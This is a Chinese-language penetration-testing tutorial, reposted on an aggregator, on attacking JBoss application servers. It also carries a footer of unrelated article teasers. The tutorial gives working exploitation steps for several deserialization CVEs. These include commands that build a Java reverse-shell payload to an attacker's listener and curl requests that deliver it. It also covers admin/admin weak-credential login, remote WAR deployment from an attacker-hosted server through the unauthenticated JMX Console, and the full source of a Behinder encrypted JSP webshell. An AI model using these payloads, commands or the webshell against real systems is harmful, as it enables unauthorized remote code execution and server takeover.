服务攻防——中间件Jboss

文章目录

  • 一、Jboss简介
  • 二、Jboss渗透
    • 2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
    • 2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
    • 2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    • 2.4 Administration Console 弱口令
    • 2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)
    • 2.6 高版本JMX Console未授权访问
    • 2.7 JMX Console HtmlAdaptor Getshell利用

一、Jboss简介

JBoss是一个基于J2EE的开发源代码的应用服务器,一般与Tomcat或Jetty绑定使用。默认端口:8080、9990

二、Jboss渗透

2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

JBOSS Application Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码

影响版本:JBoss 5.x/6.x

1)验证是否存在该漏洞
访问:https://xxx/invoker/readonly,返回500,则说明存在此漏洞。
在这里插入图片描述

2)漏洞利用
工具:JavaDeserH2HC
在这里插入图片描述
(1)生成ReverseShellCommonsCollectionsHashMap.class

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在这里插入图片描述
(2)生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888
# ip是nc所在的ip

在这里插入图片描述
(3)利用Map.ser:

curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化!

漏洞影响
Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。

1)验证漏洞
访问http://xxx/invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。
在这里插入图片描述
2)漏洞利用
这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中:

curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞简介:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围JBoss 4.x 以及之前的所有版本!

正常情况,会出现如下界面:
在这里插入图片描述
验证漏洞是否存在:访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面则存在漏洞!
在这里插入图片描述
漏洞利用:直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:

curl http://192.168.253.91:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.4 Administration Console 弱口令

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包!

1)存在管理页面
在这里插入图片描述
在这里插入图片描述
2)爆破或弱口令登录
admin/admin登录
在这里插入图片描述
3)上传war木马
点击Add a new resource,上传war包
在这里插入图片描述

成功上传dayu.war!!点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮):
在这里插入图片描述
在这里插入图片描述
4)成功控制
访问:http://192.168.253.89:8080/dayu/dayu.jsp
在这里插入图片描述
或者上传冰蝎一句话jsp:
在这里插入图片描述

2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)

输入http://x.x.x.x:8080/invoker/EJBInvokerServle能返回结果就可以利用!

与CVE-2015-7501漏洞原理相同,这里详细介绍一下两者的区别,其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

2.6 高版本JMX Console未授权访问

JMX Console默认存在未授权访问,直接点击JBoss主页中的JMX Console链接进入JMX Console页面。
在这里插入图片描述
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下:
在这里插入图片描述
进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Kali部署远程war包地址:python3 -m SimpleHTTPServer 80
在这里插入图片描述
输入Invoke:http://192.168.253.89:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.253.9/dayutest.war
在这里插入图片描述
点击后部署成功!
访问:http://192.168.253.89:8080/dayutest/shell.jsp
在这里插入图片描述
冰蝎成功控制:
在这里插入图片描述

2.7 JMX Console HtmlAdaptor Getshell利用

漏洞原理:此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的。

  • arg0传入的是部署的war包名字;
  • arg1传入的是上传的文件的文件名;
  • arg2传入的是上传文件的文件格式;
  • arg3传入的是上传文件中的内容。

通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下!

影响范围:Jboss 4.x及以下
漏洞复现
1)定位到store位置:http://192.168.253.91:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
在这里插入图片描述
定位到store⽅法,通过向四个参数传入信息,达到上传shell的目。

  • arg1传入的是部署的war包名字;
  • arg2传入的是上传的文件的文件名;
  • arg3传入的是上传文件的文件格式;
  • arg4传入的是上传文件中的内容

写入warjsp内容为冰蝎。
在这里插入图片描述
注意为.jsp

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

部署war包
在这里插入图片描述
成功写入,尝试上线冰蝎:
在这里插入图片描述
自动化渗透测试工具:jexboss

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/869409.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java如何自定义注解及在SpringBoot中的应用

注解 注解&#xff08;Annotation&#xff09;&#xff0c;也叫元数据。一种代码级别的说明。它是JDK1.5及以后版本引入的一个特性&#xff0c;与类、接口、枚举是在同一个层次。它可以声明在包、类、字段、方法、局部变量、方法参数等的前面&#xff0c;用来对这些元素进行说…

leetcode:LCR 018. 验证回文串(python3解法)

难度&#xff1a;简单 给定一个字符串 s &#xff0c;验证 s 是否是 回文串 &#xff0c;只考虑字母和数字字符&#xff0c;可以忽略字母的大小写。 本题中&#xff0c;将空字符串定义为有效的 回文串 。 示例 1: 输入: s "A man, a plan, a canal: Panama" 输出: t…

【C++】开源:坐标转换和大地测量GeographicLib库配置使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍坐标转换和大地测量GeographicLib库配置使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关…

Effective C++笔记之二十一:One Definition Rule(ODR)

ODR细节有点复杂&#xff0c;跨越各种情况。基本内容如下&#xff1a; ●普通&#xff08;非模板&#xff09;的noninline函数和成员函数、noninline全局变量、静态数据成员在整个程序中都应当只定义一次。 ●class类型&#xff08;包括structs和unions&#xff09;、模板&…

2018-2022 年份微博签到数据集

前阵子接到一个实验室老师的需求&#xff0c;采集五年前&#xff08;2024-52019&#xff09;过年前后的北京微博签到数据。 前两年采集的深圳签到数据是 2022 年是当年的尚可&#xff0c;这次虽然时间跨度只有两个月&#xff0c;但是由于时间太过久远&#xff0c;但是颇费了一…

Spring学习04-[Spring容器核心技术AOP学习]

AOP学习 AOP介绍使用对业务方法添加计算时间的增强 EnableAspectJAutoProxyAOP的术语通知前置通知Before后置通知After返回通知AfterReturning异常通知AfterThrowing总结-通知执行顺序 切点表达式的提取-使用Pointcut进行抽取切点表达式的详细用法execution和annotation组合 Sp…

STM32快速搭建项目框架

注&#xff1a;编写本博客的原因&#xff0c;学习期间基于复习之前知识点的需要&#xff0c;故撰写本教程&#xff0c;即是复习前面的知识点也是作为博客的补充 1.0 文件夹的创建 创建一个STM32项目为模版工程&#xff0c;问价夹下分别包含4个子文件夹&#xff0c;一个是Librar…

嘉立创EDA学习笔记

嘉立创EDA学习笔记 PCB引线一、设计规则间距安全间距其他间距 物理导线网络长度差分对过孔尺寸 平面铺铜 PCB布线 作为一个嵌入式开发潜力工程师&#xff0c;咱们必须得学会如何绘制开发板以满足顾客各种功能的需求&#xff0c;因此小编去学习了一下嘉立创&#xff0c;写这篇文…

VSCode用ssh连接ubuntu虚拟机实现远程访问文件夹

1. ubuntu安装ssh服务 1.1 安装 sudo apt-get install ssh sudo apt-get install openssh-server1.2 启动ssh服务 sudo service ssh start sudo service ssh status # 查看状态 ## 或者用下面方式重启ssh服务 ## /etc/init.d/ssh restart1.3 ssh服务加入开机启动 sudo syst…

HTML语言常见标签

语法 HEAD部分的HTML标签 1 标题标签 <title>标题内容</title> 2 段落标签 <meta charset"utf-8"/> BODY部分的HTML标签 1标题标签&#xff08;独占一行&#xff09;<h1>标题内容</h1> 2段落标签&#xff08;独占一行&#xff09;…

TK 检查输入框是否为空

在Python的Tkinter库中&#xff0c;你可以使用事件绑定或者在按钮点击事件中检查输入框的值是否为空来实现这个功能。以下是一个简单的例子&#xff1a; import tkinter as tk from tkinter import messageboxdef check_input():entry input_box.get()if not entry:messagebo…

TLP152 光耦合器:工程师的可靠选择

东芝的 TLP152 光耦合器是一款稳健且多功能的组件&#xff0c;能够满足各种高速和高可靠性应用中的工程师需求。本文将深入探讨 TLP152 的技术特性、优点和应用&#xff0c;突出其在市场中的独特性。 主要特点和规格 TLP152 光耦合器集成了一颗铝镓砷&#xff08;GaAlAs&…

昇思14天

ResNet50图像分类 1. ResNet50图像分类概述 ResNet50是一种用于图像分类的深度卷积神经网络。图像分类是计算机视觉的基本应用&#xff0c;属于有监督学习范畴。ResNet50通过引入残差结构&#xff0c;解决了深层网络中的退化问题&#xff0c;使得可以训练非常深的网络。 2. …

了解Adam和RMSprop优化算法

优化算法是机器学习和深度学习模型训练中至关重要的部分。本文将详细介绍Adam&#xff08;Adaptive Moment Estimation&#xff09;和RMSprop&#xff08;Root Mean Square Propagation&#xff09;这两种常用的优化算法&#xff0c;包括它们的原理、公式和具体代码示例。 RMS…

配置路由器支持Telnet操作 计网实验

实验要求&#xff1a; 假设某学校的网络管理员第一次在设备机房对路由器进行了初次配置后&#xff0c;他希望以后在办公室或出差时也可以对设备进行远程管理&#xff0c;现要在路由器上做适当配置&#xff0c;使他可以实现这一愿望。 本实验以一台R2624路由器为例&#xff0c;…

OpenCV MEI相机模型(全向模型)

文章目录 一、简介二、实现代码三、实现效果参考文献一、简介 对于针孔相机模型,由于硬件上的限制(如进光量等),他的视野夹角往往有效区域只有140度左右,因此就有研究人员为每个针孔相机前面再添加一个镜片,如下所示: 通过折射的方式增加了相机成像的视野,虽然仍然达不…

东方通Tongweb发布vue前端

一、前端包中添加文件 1、解压vue打包文件 以dist.zip为例&#xff0c;解压之后得到dist文件夹&#xff0c;进入dist文件夹&#xff0c;新建WEB-INF文件夹&#xff0c;进入WEB-INF文件夹&#xff0c;新建web.xml文件&#xff0c; 打开web.xml文件&#xff0c;输入以下内容 …

理解局域网技术:从基础到进阶

局域网&#xff08;LAN&#xff09;是在20世纪70年代末发展起来的&#xff0c;起初主要用于连接单位内部的计算机&#xff0c;使它们能够方便地共享各种硬件、软件和数据资源。局域网的主要特点是网络为一个单位所拥有&#xff0c;地理范围和站点数目均有限。 局域网技术在计算…

RequestContextHolder多线程获取不到request对象

RequestContextHolder多线程获取不到request对象&#xff0c;调用feign接口时&#xff0c;在Feign中的RequestInterceptor也获取不到HttpServletRequest问题解决方案。 1.RequestContextHolder多线程获取不到request对象 异常信息&#xff0c;报错如下&#xff1a; 2024-07-0…

(四)前端javascript中的数据结构之归并排序

归并排序是一种分治算法&#xff0c; 其思想是&#xff1a; 将原始数组切分成较小的数组&#xff0c;直到每个小数组只有一 个位置&#xff0c;接着将小数组归并成较大的数组&#xff0c;直到最后只有一个排序完毕的大数组 归并排序是第一个可以被实际使用的排序算法。它比前面…